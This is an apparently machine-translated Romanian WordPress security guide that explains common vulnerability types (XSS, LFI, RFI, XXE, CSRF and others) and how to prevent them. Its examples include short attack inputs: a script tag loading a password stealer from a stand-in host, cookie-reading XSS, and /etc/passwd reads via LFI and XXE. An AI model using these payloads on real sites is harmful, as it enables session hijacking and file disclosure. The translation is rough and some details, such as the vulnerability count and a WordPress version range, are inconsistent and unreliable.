Vulnerabilități WordPress explicate

Din păcate, există vulnerabilități WordPress. Vulnerabilitățile WordPress pot exista în pluginuri, teme și chiar în nucleul WordPress. Și din moment ce WordPress are acum aproape 40% din toate site-urile web, sarcina de a înțelege vulnerabilitățile este și mai importantă. Simplu spus: trebuie să fiți vigilenți cu privire la securitatea site-ului dvs. web.

Dacă nu sunteți un expert în securitate WordPress, înțelegerea tuturor vulnerabilităților WordPress poate fi descurajantă. De asemenea, poate fi copleșitor să încerci să înțelegi diferitele niveluri de severitate ale unei vulnerabilități, împreună cu riscurile vulnerabilității WordPress.

Acest ghid va defini cele mai frecvente 21 de vulnerabilități WordPress, va acoperi modul de evaluare a severității unei vulnerabilități WordPress, va oferi exemple despre modul în care un hacker poate exploata vulnerabilitatea și va arăta cum pot fi prevenite aceste vulnerabilități. Hai să ne scufundăm.

Ce este o vulnerabilitate WordPress?

O vulnerabilitate WordPress este o slăbiciune sau un defect într-o temă, un plugin sau un nucleu WordPress care poate fi exploatat de un hacker. Cu alte cuvinte, vulnerabilitățile WordPress creează un punct de intrare pe care un hacker îl poate folosi pentru a elimina activitatea rău intenționată.

Rețineți că hacking-ul site-ului web este aproape automatizat. Din această cauză, hackerii pot pătrunde cu ușurință într-un număr mare de site-uri web în aproape deloc. Hackerii folosesc instrumente speciale care scanează internetul, căutând vulnerabilități cunoscute.

Hackerilor le plac țintele ușoare și a avea un site web care rulează software cu vulnerabilități cunoscute este ca și cum ați oferi unui hacker instrucțiuni pas cu pas pentru a pătrunde pe site-ul dvs. WordPress, server, computer sau orice alt dispozitiv conectat la internet.

Rapoartele noastre lunare de rezolvare a vulnerabilităților WordPress acoperă toate vulnerabilitățile de bază divulgate public WordPress, pluginul WordPress și tema. În aceste rezumate, împărtășim numele pluginului sau temei vulnerabile, versiunile afectate și tipul de vulnerabilitate.

Ce este Vulnerabilitatea Zero-Day?

Când vine vorba de vulnerabilitățile WordPress, este important să înțelegem definiția unei vulnerabilități de zi zero. Deoarece vulnerabilitatea a fost dezvăluită publicului, dezvoltatorul are la dispoziție zero zile pentru a remedia vulnerabilitatea. Și acest lucru poate avea implicații mari pentru plugin-uri și teme.

De obicei, un cercetător de securitate va descoperi o vulnerabilitate și va dezvălui în mod privat vulnerabilitatea dezvoltatorilor companiei care dețin software-ul. Cercetătorul de securitate și dezvoltatorul sunt de acord că detaliile complete vor fi publicate odată ce un patch a fost pus la dispoziție. Este posibil să existe o ușoară întârziere în dezvăluirea vulnerabilității după ce patch-ul este lansat, pentru a oferi mai multor oameni timp pentru actualizare pentru vulnerabilități majore de securitate.

Cu toate acestea, dacă un dezvoltator nu răspunde cercetătorului de securitate sau nu reușește să furnizeze un patch pentru vulnerabilitate, atunci cercetătorul poate dezvălui în mod public vulnerabilitatea pentru a pune presiune pe dezvoltator să emită un patch.

Dezvăluirea publică a unei vulnerabilități și introducerea aparentă a unei zile zero pot părea contraproductive. Dar, este singura pârghie pe care o are un cercetător pentru a-l presiona pe dezvoltator să remedieze vulnerabilitatea.

Project Zero de la Google are îndrumări similare atunci când vine vorba de dezvăluirea vulnerabilităților. Ei publică detaliile complete ale vulnerabilității după 90 de zile. Dacă vulnerabilitatea a fost sau nu reparată.

Vulnerabilitatea este acolo pentru ca oricine să o găsească. Dacă un hacker găsește vulnerabilitatea înainte ca dezvoltatorul să lanseze un patch, acesta devine cel mai rău coșmar al utilizatorului final…. O zi zero exploatată activ.

Ce este o vulnerabilitate de zi zero exploatată activ?

O vulnerabilitate de zi zero exploatată activ este exact cum sună. Este o vulnerabilitate neperfectată pe care hackerii o vizează, o atacă și o exploatează activ.

La sfârșitul anului 2018, hackerii exploatau în mod activ o vulnerabilitate gravă WordPress în pluginul WP GDPR Compliance. Exploatarea a permis utilizatorilor neautorizați - mai multe detalii despre acest lucru în secțiunea următoare - să modifice setările de înregistrare a utilizatorului WP și să schimbe rolul implicit de utilizator nou dintr-un abonat în administrator.

Acești hackeri au descoperit această vulnerabilitate înainte de pluginul WP GDPR Compliance și cercetătorii de securitate. Deci, orice site web care avea pluginul instalat era un semn ușor și garantat pentru infractorii cibernetici.

Cum să vă protejați de o vulnerabilitate zero-day

Cel mai bun mod de a vă proteja site-ul web împotriva unei vulnerabilități Zero-Day este să dezactivați și să eliminați software-ul până când vulnerabilitatea este reparată. Din fericire, dezvoltatorii de pluginuri WP GDPR Compliance au acționat rapid și au lansat un patch pentru vulnerabilitate a doua zi după ce a fost dezvăluită public.

Vulnerabilitățile neperfectate fac din site-ul dvs. o țintă ușoară pentru hackeri.

Vulnerabilități WordPress neautentificate vs.

Există încă doi termeni cu care trebuie să fii familiarizat atunci când vorbești despre vulnerabilitățile WordPress.

1. Neautentificat - O vulnerabilitate WordPress neautentificată înseamnă că oricine poate exploata vulnerabilitatea.
2. Autentificat - O vulnerabilitate WordPress autentificată înseamnă că necesită exploatarea unui utilizator conectat.

O vulnerabilitate care necesită un utilizator autentificat este mult mai greu de exploatat de un hacker, mai ales dacă necesită privilegii la nivel de administrator. Și, dacă un hacker are deja mâinile pe un set de acreditări de administrator, nu trebuie să exploateze o vulnerabilitate pentru a face ravagii.

Există o singură avertisment. Unele vulnerabilități autentificate necesită abilități de exploatare la nivel de abonați. Dacă site-ul dvs. permite oricui să se înregistreze, nu există prea multe diferențe între aceasta și o vulnerabilitate neautentificată.

19 Vulnerabilități comune WordPress explicate

Când vine vorba de vulnerabilitățile WordPress, există 21 de tipuri comune de vulnerabilități. Să acoperim fiecare dintre aceste tipuri de vulnerabilități WordPress.

1. Bypass de autentificare

O vulnerabilitate de Bypass de autentificare permite unui atacator să omită cerințele de autentificare și să îndeplinească sarcini rezervate în mod normal utilizatorilor autentificați.

Autentificarea este procesul de verificare a identității unui utilizator. WordPress cere utilizatorilor să introducă un nume de utilizator și o parolă pentru a-și verifica identitatea.

Exemplu de ocolire a autentificării

Aplicațiile verifică autentificarea pe baza unui set fix de parametri. Un atacator ar putea modifica acești parametri pentru a obține acces la paginile web care necesită de obicei autentificare.

Un exemplu foarte simplu de așa ceva este un parametru de autentificare în adresa URL.

 https:/my-website/some-plugint?param=authenticated&param=no

Adresa URL de mai sus are un parametru de autentificare care are o valoare de nr. Deci, atunci când vizităm această pagină, ni se va prezenta un mesaj care ne informează că nu suntem autorizați să vizualizăm informațiile de pe această pagină.

Cu toate acestea, dacă verificarea autentificării a fost slab codificată, un atacator ar putea modifica parametrul de autentificare pentru a obține acces la pagina privată.

 https:/my-website/some-plugint?param=authenticated&param=yes

În acest exemplu, un hacker ar putea modifica valoarea de autentificare în adresa URL la da pentru a ocoli cerința de autentificare pentru a vizualiza pagina.

Cum să preveniți prevenirea ocolirii autentificării

Vă puteți ajuta să vă protejați site-ul împotriva vulnerabilităților de autentificare întreruptă utilizând autentificarea cu doi factori.

2. Vulnerabilitatea Backdoor

O vulnerabilitate Backdoor permite utilizatorilor autorizați și neautorizați să ocolească măsurile de securitate normale și să obțină acces la nivel înalt la un computer, server, site web sau aplicație.

Exemplu Backdoor

Un dezvoltator creează un backdoor astfel încât să poată comuta rapid între codificare și testare a codului ca utilizator de administrator. Din păcate, dezvoltatorul uită să elimine portiera din spate înainte ca software-ul să fie lansat publicului.

Dacă un hacker găsește backdoor-ul, acesta poate exploata punctul de intrare pentru a obține acces de administrator la software. Acum, când hackerul are acces de administrator, ei pot face tot felul de lucruri rău intenționate, cum ar fi injectarea de programe malware sau furtul de date sensibile.

Cum se previne un backdoor

O mulțime de uși din spate pot fi reduse la o singură problemă, configurarea greșită a securității. Problemele de configurare greșită ale securității pot fi atenuate prin eliminarea oricăror caracteristici neutilizate din cod, menținerea tuturor bibliotecilor la zi și generalizarea mesajelor de eroare.

3. Vulnerabilitate la injectarea obiectelor PHP

O vulnerabilitate PHP Object-Injection apare cu un utilizator care trimite o intrare care nu este igienizată (ceea ce înseamnă că caracterele ilegale nu sunt eliminate) înainte de a fi trecut la funcția PHP unserialized() .

Exemplu de injecție de obiecte PHP

Iată un exemplu din lumea reală a unei vulnerabilități PHP Object-Injection din pluginul Sample Ads Manager WordPress care a fost raportat inițial de sumofpwn.

Problema se datorează a două apeluri nesigure pentru unserialize () în fișierul plugin sam-ajax-loader.php urilor sam-ajax-loader.php . Intrarea este preluată direct din solicitarea POST așa cum se poate vedea în codul de mai jos.

 if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

Această problemă ar putea duce la introducerea și executarea unui cod rău intenționat de către un atacator.

Cum să preveniți injectarea obiectelor PHP

Nu utilizați funcția unserialize() cu intrarea furnizată de utilizator, utilizați în schimb funcțiile JSON.

4. Vulnerabilitate a scripturilor între site-uri

O vulnerabilitate XSS sau Cross-Site Scripting apare atunci când o aplicație web permite utilizatorilor să adauge cod personalizat în calea URL. Un atacator poate exploata vulnerabilitatea pentru a rula codul rău intenționat în browserul web al victimei, poate crea o redirecționare către un site web rău intenționat sau poate deturna o sesiune de utilizator.

Există trei tipuri principale de XSS, reflectate. stocate și bazate pe DOM

5. Vulnerabilitatea reflectată a scripturilor între site-uri

Un XSS reflectat sau un script încrucișat reflectat apare atunci când un script rău intenționat este trimis într-o cerere de client - o cerere făcută de dvs. într-un browser - către un server și este reflectată de server și executată de browserul dvs.

Exemplu de scripturi cross-site reflectat

Să presupunem că yourfavesite.com necesită să fiți conectat pentru a vizualiza o parte din conținutul site-ului web. Și să presupunem că acest site web nu reușește să codeze corect intrările utilizatorilor.

Un atacator ar putea profita de această vulnerabilitate prin crearea unui link rău intenționat și yourfavesite.com acestuia cu utilizatorii yourfavesite.com în e-mailuri și postări pe rețelele de socializare.

Atacatorul folosește un instrument de scurtare a adreselor URL pentru a face ca link-ul rău intenționat să pară yourfavesite.com/cool-stuff și foarte yourfavesite.com/cool-stuff , yourfavesite.com/cool-stuff . Dar, când faceți clic pe linkul scurtat, linkul complet este executat de browserul dvs. yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js .

După ce faceți clic pe link, veți fi direcționat către yourfavesite.com , iar scriptul rău intenționat va fi reflectat înapoi în browser, permițând atacatorului să vă deturneze cookie-urile de sesiune și contul yourfavesite.com .

Cum să preveniți scripturile inter-site reflectate

Regula nr. 5 din foaia de trucuri OWASP pentru prevenirea cross-scriptingului este codarea URL-ului înainte de a insera date neacredibile în valorile parametrilor URL-ului HTML. Această regulă poate ajuta la prevenirea creării unei vulnerabilități XSS reflectate atunci când se adaugă date de încredere în valoarea parametrului HTTP GET.

<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

6. Vulnerabilitate stocată pe mai multe site-uri

O vulnerabilitate stocată XSS sau stocată pe site-uri de tip cross-site permite hackerilor să injecteze cod rău intenționat și să-l stocheze pe serverul unei aplicații web.

Exemplu de scripturi între site-uri stocate

Un atacator descoperă că yourfavesite.com permite vizitatorilor să încorporeze etichete HTML în secțiunea de comentarii a site-ului. Deci atacatorul creează un nou comentariu:

Super articol! Consultați acest alt articol legat de <script src=”http://bad-guys.com/passwordstealingcode.js> . </script>

Notă: o vulnerabilitate XSS reflectată ar necesita ca un vizitator să facă clic pe linkul codului rău intenționat pentru a-l executa. Un atac XSS stocat necesită doar ca pagina care conține comentariul să fie vizitată. Codul rău intenționat rulează la fiecare încărcare a paginii.

Acum că tipul nostru rău a adăugat comentariul, fiecare viitor vizitator al acestei pagini va fi expus scriptului său rău intenționat. Scriptul este găzduit pe site-ul răului și are capacitatea de a deturna vizitatorii cookie-urile de sesiune și conturile yourfavesite.com .

Cum să preveniți crearea de scripturi între site-uri stocate

Regula nr. 1 din foaia de trucuri OWASP pentru prevenirea cross-scriptingului este codarea HTML înainte de a adăuga date de încredere în elemente HTML.

 <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>

 <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

Codificarea următoarelor caractere pentru a preveni trecerea la orice context de execuție, cum ar fi script, stil sau gestionare de evenimente. Utilizarea entităților hexagonale este recomandată în spec.

 & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

7. Vulnerabilitate bazată pe model de obiecte de documente pe site-uri de tip cross-site

O vulnerabilitate XSS bazată pe DOM sau pe un model de obiect de document, bazată pe scripturi între site-uri, apare atunci când scriptul de pe site-ul client al unui site web scrie date furnizate de utilizator în Document Object Model (DOM). Site-ul web citește apoi datele utilizatorului din DOM și îl trimite în browserul web al vizitatorului.

Dacă datele furnizate de utilizator nu sunt tratate corect, un atacator ar putea injecta cod rău intenționat care ar fi executat atunci când site-ul web citește codul din DOM.

Notă: XSS reflectat și stocat sunt probleme la nivel de server, în timp ce XSS bazat pe DOM este o problemă client (browser).

Exemplu de scripturi între site-uri bazate pe model de obiecte de document

Un mod obișnuit de a explica un atac DOM XSS o pagină de întâmpinare personalizată. După crearea unui cont, să presupunem că yourfavesite.com sunteți redirecționat către o pagină de întâmpinare personalizată pentru a vă întâmpina după nume folosind codul de mai jos. Și numele de utilizator este codat în adresa URL.

 <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

Așadar, am avea o adresă URL a yourfavesite.com/account?name=yourname .

Un atacator ar putea realiza un atac XSS bazat pe DOM, trimițând următoarea adresă URL noului utilizator:

 http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

Când noul utilizator face clic pe link, browserul său trimite o cerere pentru:

 /account?name=<script>alert(document.cookie)</script>

la bad-guys.com . Site-ul web răspunde cu pagina care conține codul Javascript de mai sus.

Browserul noului utilizator creează un obiect DOM pentru pagină, în care obiectul document.location conține șirul:

 http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

Codul original din pagină nu se așteaptă ca parametrul implicit să conțină marcaj HTML, făcând ecou marcajului pe pagină. Apoi, browserul noului utilizator va reda pagina și va executa scriptul atacatorului:

 alert(document.cookie)

Cum să preveniți crearea de scripturi cross-site bazate pe DOM

Regula nr. 1 pe foaia de trucuri de prevenire a scripturilor pe site-uri încrucișate pe OWASP este de a scăpa HTML. Apoi, JS scapă înainte de a adăuga date de încredere în subcontextul HTML în contextul de execuție.

Exemple de metode HTML periculoase:

Atribute

 element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

Metode

 document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

Pentru a face actualizări dinamice la HTML în siguranța DOM, OWASP recomandă:

1. Codificare HTML și apoi
2. Codificare JavaScript pentru toate intrările de încredere, așa cum se arată în aceste exemple:

 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Vulnerabilitate de falsificare a cererii între site-uri

O vulnerabilitate CSRF sau Cross-Site Request Forgery apare atunci când un criminal cibernetic păcălește un utilizator să efectueze acțiuni neintenționate. Atacatorul falsifică cererea utilizatorului către o aplicație.

Exemplu de solicitare de falsificare inter-site

În pachetul nostru de vulnerabilități WordPress din ianuarie 2020, am raportat vulnerabilitatea de falsificare a cererii între site-uri, găsită în pluginul Fragmente de cod. (Pluginul a fost repetat în versiunea 2.14.0)

Lipsa protecției CRSF a pluginului a permis oricui să falsifice o cerere în numele unui administrator și să injecteze cod executabil pe un site vulnerabil. Un atacator ar fi putut profita de această vulnerabilitate pentru a executa coduri rău intenționate și chiar pentru a efectua o preluare completă a site-ului.

Cum să preveniți falsificarea cererilor între site-uri

Majoritatea cadrelor de codare au apărări simbolice sincronizate încorporate pentru a proteja împotriva CSRF și ar trebui utilizate.

Există, de asemenea, componente externe, cum ar fi CSRF Protector Project, care pot fi utilizate pentru a proteja vulnerabilitățile CSRF PHP și Apache.

9. Vulnerabilitate de falsificare a cererii din partea serverului

O vulnerabilitate SSRF sau Server-Site Request Forger permite unui atacator să păcălească o aplicație de pe server pentru a face cereri HTTP către un domeniu arbitrar la alegere.

Exemplu de solicitare de fals în partea de server

O vulnerabilitate SSRF ar putea fi exploatată pentru a declanșa un atac Reflected Cross-Site Scripting. Un atacator poate prelua un script rău intenționat de la bad-guys.com și îl poate trimite tuturor vizitatorilor site-ului.

Cum să preveniți falsificarea cererii de la server

Primul pas pentru a atenua vulnerabilitățile SSRF este validarea intrărilor. De exemplu, dacă serverul dvs. se bazează pe adresele URL furnizate de utilizator pentru a prelua fișiere diferite, ar trebui să validați adresa URL și să permiteți doar gazdele țintă în care aveți încredere.

Pentru mai multe informații despre prevenirea SSRF, consultați foaia de trucuri OWASP.

10. Vulnerabilitatea escaladării privilegiilor

O vulnerabilitate a escaladei de privilegii permite unui atacator să execute sarcini care necesită în mod normal privilegii de nivel superior.

Exemplu de escaladare a privilegiilor

În buletinul nostru de vulnerabilități WordPress din noiembrie 2020, am raportat o vulnerabilitate de escaladare a privilegiilor găsită în pluginul Ultimate Member (Vulnerabilitatea a fost corecționată în versiunea 2.1.12).

Un atacator ar putea furniza un parametru matrice pentru meta utilizator wp_capabilities care definește rolul unui utilizator. În timpul procesului de înregistrare, detaliile de înregistrare trimise au fost transmise funcției update_profile și orice metadate respective care au fost trimise, indiferent de ceea ce a fost trimis, vor fi actualizate pentru acel utilizator nou înregistrat.

Vulnerabilitatea a permis în esență unui nou utilizator să solicite administratorului atunci când se înregistrează.

Cum să preveniți escaladarea privilegiilor

iThemes Security Pro vă poate ajuta să vă protejați site-ul împotriva controlului de acces întrerupt, restricționând accesul administratorului la o listă de dispozitive de încredere.

11. Vulnerabilitate la executarea codului la distanță

O vulnerabilitate RCE sau Remote Code Execution permite unui atacator să acceseze și să facă modificări și chiar să preia un computer sau server.

Exemplu de executare cod la distanță

În 2018, Microsoft a dezvăluit o vulnerabilitate la executarea codului la distanță găsită în Excel.

Un atacator care a exploatat cu succes vulnerabilitatea ar putea rula cod arbitrar în contextul utilizatorului actual. Dacă utilizatorul actual este conectat cu drepturi de utilizator administrative, un atacator ar putea prelua controlul sistemului afectat. Un atacator ar putea apoi să instaleze programe; vizualizați, modificați sau ștergeți date; sau creați conturi noi cu drepturi de utilizator complete. Utilizatorii ale căror conturi sunt configurate pentru a avea mai puține drepturi de utilizator pe sistem ar putea fi mai puțin afectați decât utilizatorii care operează cu drepturi de utilizator administrative.

Cum să preveniți executarea codului la distanță

Cel mai simplu mod de a atenua împotriva unei vulnerabilități RCE este de a valida datele introduse de utilizator prin filtrarea și eliminarea oricăror caractere nedorite.

Compania noastră mamă Liquid Web are un articol minunat despre prevenirea executării codului de la distanță.

12. Vulnerabilitate la includerea fișierelor

O vulnerabilitate de includere a fișierelor apare atunci când o aplicație web permite utilizatorului să trimită date în fișiere sau să încarce fișiere pe server.

Există două tipuri de vulnerabilități de includere a fișierelor, Local și Remote.

13. Vulnerabilitate la includerea fișierelor locale

O vulnerabilitate LFI sau Local File Inclusion permite unui atacator să citească și uneori să execute fișiere pe serverul unui site web.

Exemplu de includere a fișierelor locale

Să aruncăm o altă privire la yourfavesite.com , unde căile trecute pentru a include declarații nu sunt igienizate corespunzător. De exemplu, să aruncăm o privire la adresa URL de mai jos.

 yourfavesite.com/module.php?file=example.file

Este posibil ca un atacator să schimbe parametrul URL pentru a accesa un fișier arbitrar de pe server.

 yourfavesite.com/module.php?file=etc/passwd

Modificarea valorii fișierului în adresa URL ar putea permite unui atacator să vizualizeze conținutul fișierului psswd.

Cum să preveniți includerea fișierelor locale

Creați o listă permisă de fișiere pe care pagina le poate include, apoi utilizați un identificator pentru a accesa fișierul selectat. Și apoi blocați orice cerere care conține un identificator nevalid.

14. Vulnerabilitate la includerea fișierelor la distanță

O vulnerabilitate RFI sau Remote File Inclusion permite unui atacator să includă un fișier, exploatând de obicei mecanismele de „includere dinamică a fișierelor” implementate în aplicația țintă.

Exemplu de includere a fișierelor la distanță

WordPress Plugin WP cu Spritz a fost închis în depozitul WordPress.org deoarece avea o vulnerabilitate RFI.

Mai jos este codul sursă al vulnerabilității:

 if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

Codul poate fi exploatat modificând valoarea content.filter.php?url= value. De exemplu:

 yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

Prevenirea incluziunii la distanță a fișierelor

Creați o listă permisă de fișiere pe care pagina le poate include, apoi utilizați un identificator pentru a accesa fișierul selectat. Și apoi blocați orice cerere care conține un identificator nevalid.

15. Vulnerabilitatea transversală a directorului

O vulnerabilitate Directory Traversal sau File Traversal permite unui atacator să citească fișiere arbitrare pe serverul care rulează o aplicație.

Exemplu de traversare a directorului

Versiunile WordPress 5.7 - 5.03 au fost vulnerabile la atacurile de traversare a directorului, deoarece nu au reușit să verifice corect datele de intrare ale utilizatorilor. Un atacator cu acces la un cont cu cel puțin privilegii de author ar putea exploata vulnerabilitatea traversării directorului și ar putea executa cod PHP rău intenționat pe serverul de bază, ducând la o preluare completă de la distanță.

Cum se previne traversarea directorului

Dezvoltatorii pot utiliza indici mai degrabă decât porțiuni reale ale numelor de fișiere atunci când șablonează sau folosesc fișiere de limbă.

16. Vulnerabilitate de redirecționare rău intenționată

O vulnerabilitate de redirecționare rău intenționată permite unui atacator să injecteze cod pentru a redirecționa vizitatorii site-ului către un alt site web.

Exemplu de redirecționare rău intenționată

Să presupunem că sunteți în căutarea unui pulover albastru folosind instrumentul de căutare dintr-un butic online.

Din păcate, serverul buticului nu reușește să codeze datele introduse de utilizator în mod corespunzător, iar un atacator a reușit să injecteze un script de redirecționare rău intenționat în interogarea dvs. de căutare.

Deci, când introduceți pulover albastru în câmpul de căutare al buticului și apăsați pe Enter, ajungeți pe pagina web a atacatorului în loc de pagina buticului, cu pulovere care se potrivesc cu descrierea căutării dvs.

Cum să preveniți redirecționarea rău intenționată

Vă puteți proteja împotriva redirecționărilor rău intenționate, igienizând datele introduse de utilizatori, validând adresele URL și obținând confirmarea vizitatorului pentru toate redirecționările în afara site-ului.

17. Vulnerabilitatea entității externe XML

O vulnerabilitate a entității externe XXE sau XML permite unui atacator să păcălească un analizor XML pentru a transmite informații sensibile unei entități externe aflate sub controlul lor.

Exemplu de entitate externă XML

Un atacator ar putea exploata o vulnerabilitate XXE pentru a avea acces la fișiere sensibile, cum ar fi etc / passwd, care stochează informații despre contul utilizatorului.

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

Cum să preveniți entitatea externă XML

Cel mai bun mod de a preveni XXE este de a utiliza formate de date mai puțin complexe, cum ar fi JSON și de a evita serializarea datelor sensibile.

18. Atac de refuz de serviciu

Un atac DoS sau Denial-of-Service este o încercare deliberată de a face site-ul sau aplicația dvs. indisponibil pentru utilizatori, inundându-l cu trafic de rețea.

Într-un atac DDoS Distributed Denial of Service, un atacator folosește mai multe surse pentru a inunda o rețea cu trafic. Un atacator va deturna grupuri de computere, routere și dispozitive IoT infectate cu malware, pentru a crește fluxul de trafic.

Exemplu de atac de negare a serviciului

Cel mai mare atac DDoS (Distributed Denial-of-Service) a fost impus împotriva AWS în februarie a acestui an. Amazon a raportat că AWS Shield, serviciul lor de protecție împotriva amenințărilor, a observat și atenuat acest imens atac DDoS. Atacul a durat 3 zile și a atins un maxim de 2,3 Terabytes pe secundă.

Cum să preveniți atacul prin refuz de serviciu

Există 2 moduri principale de a atenua un atac DoS.

1. Achiziționați mai multe găzduiri decât aveți nevoie. Dacă aveți la dispoziție resurse suplimentare, vă puteți ajuta să rezistați cererii crescute cauzate de un atac DoS.
2. Folosiți un firewall la nivel de server precum Cloudflare. Un firewall poate detecta o creștere neobișnuită a traficului și poate împiedica supraîncărcarea site-ului dvs. web.

19. Înregistrare tastare

Înregistrarea tastării , cunoscută și sub numele de tastare sau captare de tastatură, are loc atunci când un hacker monitorizează și înregistrează în mod ascuns tastele vizitatorilor site-ului.

Exemplu de înregistrare a tastelor

În 2017, un hacker a instalat cu succes JavaScript rău intenționat pe serverul producătorului de smartphone-uri OnePlus.

Folosind codul rău intenționat, atacatorii au monitorizat și înregistrat apăsările tastelor clienților OnePlus în timp ce își introduceau datele cardului de credit. Hackerii au înregistrat și au colectat tastele a 40.000 de clienți înainte ca OnePlus să detecteze și să corecționeze hack-ul.

Cum să preveniți înregistrarea prin tastare

Actualizați totul! De obicei, un atacator va trebui să exploateze o altă vulnerabilitate existentă pentru a injecta un keylogger pe un computer sau server. Păstrarea tuturor actualizărilor cu cele mai recente patch-uri de securitate va împiedica hackerii o modalitate simplă de a instala un keylogger pe site-ul sau computerul dvs.

Bonus: 2 Inginerie socială și vulnerabilități pentru utilizatori

Vulnerabilitățile software sunt singurul lucru pe care încearcă să-l exploateze hackerii și criminalii cibernetici. Hackerii vizează și exploatează și oamenii. Să aruncăm o privire la câteva moduri în care putem fi transformați în vulnerabilități.

1. Phishing

Phishingul este o metodă de atac cibernetic care utilizează e-mail, rețele sociale, mesaje text și apeluri telefonice pentru a păcăli victima să renunțe la informații personale. Atacatorul va folosi apoi informațiile pentru a accesa conturile personale sau pentru a comite fraude de identitate.

Cum să identificați un e-mail de phishing

După cum am aflat mai devreme în această postare, unele vulnerabilități necesită un anumit tip de interacțiune cu utilizatorul pentru a fi exploatate. O modalitate prin care un hacker îi păcălește pe oameni să participe la eforturile lor nefaste este prin trimiterea de e-mailuri de phishing.

Învățarea modului de a identifica un e-mail de phishing vă poate scuti de jocul involuntar în planurile criminalilor cibernetici.

4 sfaturi pentru a identifica un e-mail de phishing :

1. Uitați-vă la adresa de e-mail - Dacă primiți un e-mail de la o companie, porțiunea din adresa de e-mail a expeditorului după „@” trebuie să se potrivească cu numele companiei.
   
   Dacă un e-mail reprezintă o companie sau o entitate guvernamentală, dar folosește o adresă de e-mail publică precum „@gmail”, este un semn al unui e-mail de phishing.
   
   Fii atent la ortografiile subtile ale numelui de domeniu. De exemplu, să ne uităm la această adresă de e-mail [e-mail protejat] Putem vedea că Netflix are un „x” suplimentar la final. Ortografia greșită este un semn clar că e-mailul a fost trimis de un escroc și ar trebui șters imediat.
   
2. Căutați erori gramaticale - Un e-mail plin de greșeli gramaticale este semnul unui e-mail rău intenționat. Toate cuvintele pot fi scrise corect, dar din propoziții lipsesc cuvinte care ar face propoziția coerentă. De exemplu, „Contul dvs. a fost piratat. Actualizați parola pentru securitatea contului ”.
   
   Toată lumea face greșeli și nu fiecare e-mail cu o greșeală sau două este o încercare de a vă înșela. Cu toate acestea, erorile gramaticale multiple justifică o privire mai atentă înainte de a răspunde.
   
3. Atașamente sau linkuri suspecte - Merită să faceți o pauză pentru un moment înainte de a interacționa cu orice atașamente sau linkuri incluse într-un e-mail.
   
   Dacă nu recunoașteți expeditorul unui e-mail, nu ar trebui să descărcați atașamentele incluse în e-mail, deoarece acesta ar putea conține programe malware și vă poate infecta computerul. În cazul în care e-mailul pretinde că provine dintr-o companie, puteți să le informați Google despre informațiile de contact pentru a verifica dacă e-mailul a fost trimis de la acestea înainte de a deschide atașamente.
   
   Dacă un e-mail conține un link, puteți trece cu mouse-ul peste link pentru a verifica dacă adresa URL vă trimite unde ar trebui să fie.
   
4. Aveți grijă la solicitările urgente - Un truc obișnuit folosit de escroci este de a crea un sentiment de urgență. Un e-mail rău intenționat poate produce un scenariu care necesită acțiuni imediate. Cu cât aveți mai mult timp să vă gândiți, cu atât sunt mai mari șansele de a identifica cererea unui escroc.
   
   Este posibil să primiți un e-mail de la „șeful” dvs. prin care să vă solicite să plătiți un furnizor cât mai curând sau de la banca dvs. prin care să vă informați că contul dvs. a fost spart și că sunt necesare acțiuni imediate.

2. Acreditări slabe

Utilizatorii au potențialul de a fi cea mai mare vulnerabilitate de securitate WordPress.

Într-o listă compilată de Splash Data, cea mai comună parolă inclusă în toate depozitele de date a fost 123456. O depozitare a datelor este o bază de date piratată plină cu parole de utilizator aruncate undeva pe internet. Îți poți imagina câte persoane de pe site-ul tău folosesc o parolă slabă dacă 123456 este cea mai comună parolă din depozitele de date?

Chiar dacă 91% dintre oameni știu că refolosirea parolelor este o practică slabă, 59% dintre oameni își reutilizează parolele peste tot! Mulți dintre acești oameni folosesc în continuare parole despre care știu că au apărut într-o bază de date.

Hackerii folosesc o formă de forță brută atacată numită atac de dicționar. Un atac de dicționar este o metodă de intrare într-un site web WordPress cu parole utilizate în mod obișnuit, care au apărut în depozitele de baze de date. „Colecția nr. 1? Încălcarea datelor care a fost găzduită pe gazdă MEGA a inclus 1.160.253.228 de combinații unice de adrese de e-mail și parole. Adică miliarde cu b. Acest tip de scor va ajuta într-adevăr un atac de dicționar să restrângă cele mai utilizate parole WordPress.

Acreditări slabe transformă datele dvs. de conectare WordPress într-o vulnerabilitate ușoară de exploatat de către hackeri.

Cum să preveniți acreditările slabe

Cel mai bun mod de a preveni acreditările slabe este prin crearea unei politici de parolă puternice și utilizarea autentificării cu doi factori.

Funcția Cerințe de parolă iThemes Security Pro permite forțarea membrilor unui grup de utilizatori să utilizeze o parolă puternică , să aleagă un moment de expirare a parolei , să refuze parolele compromise și să forțeze o modificare a parolelor la nivelul întregului site pentru a face pe toți să respecte politica noii dvs. parole puternice.

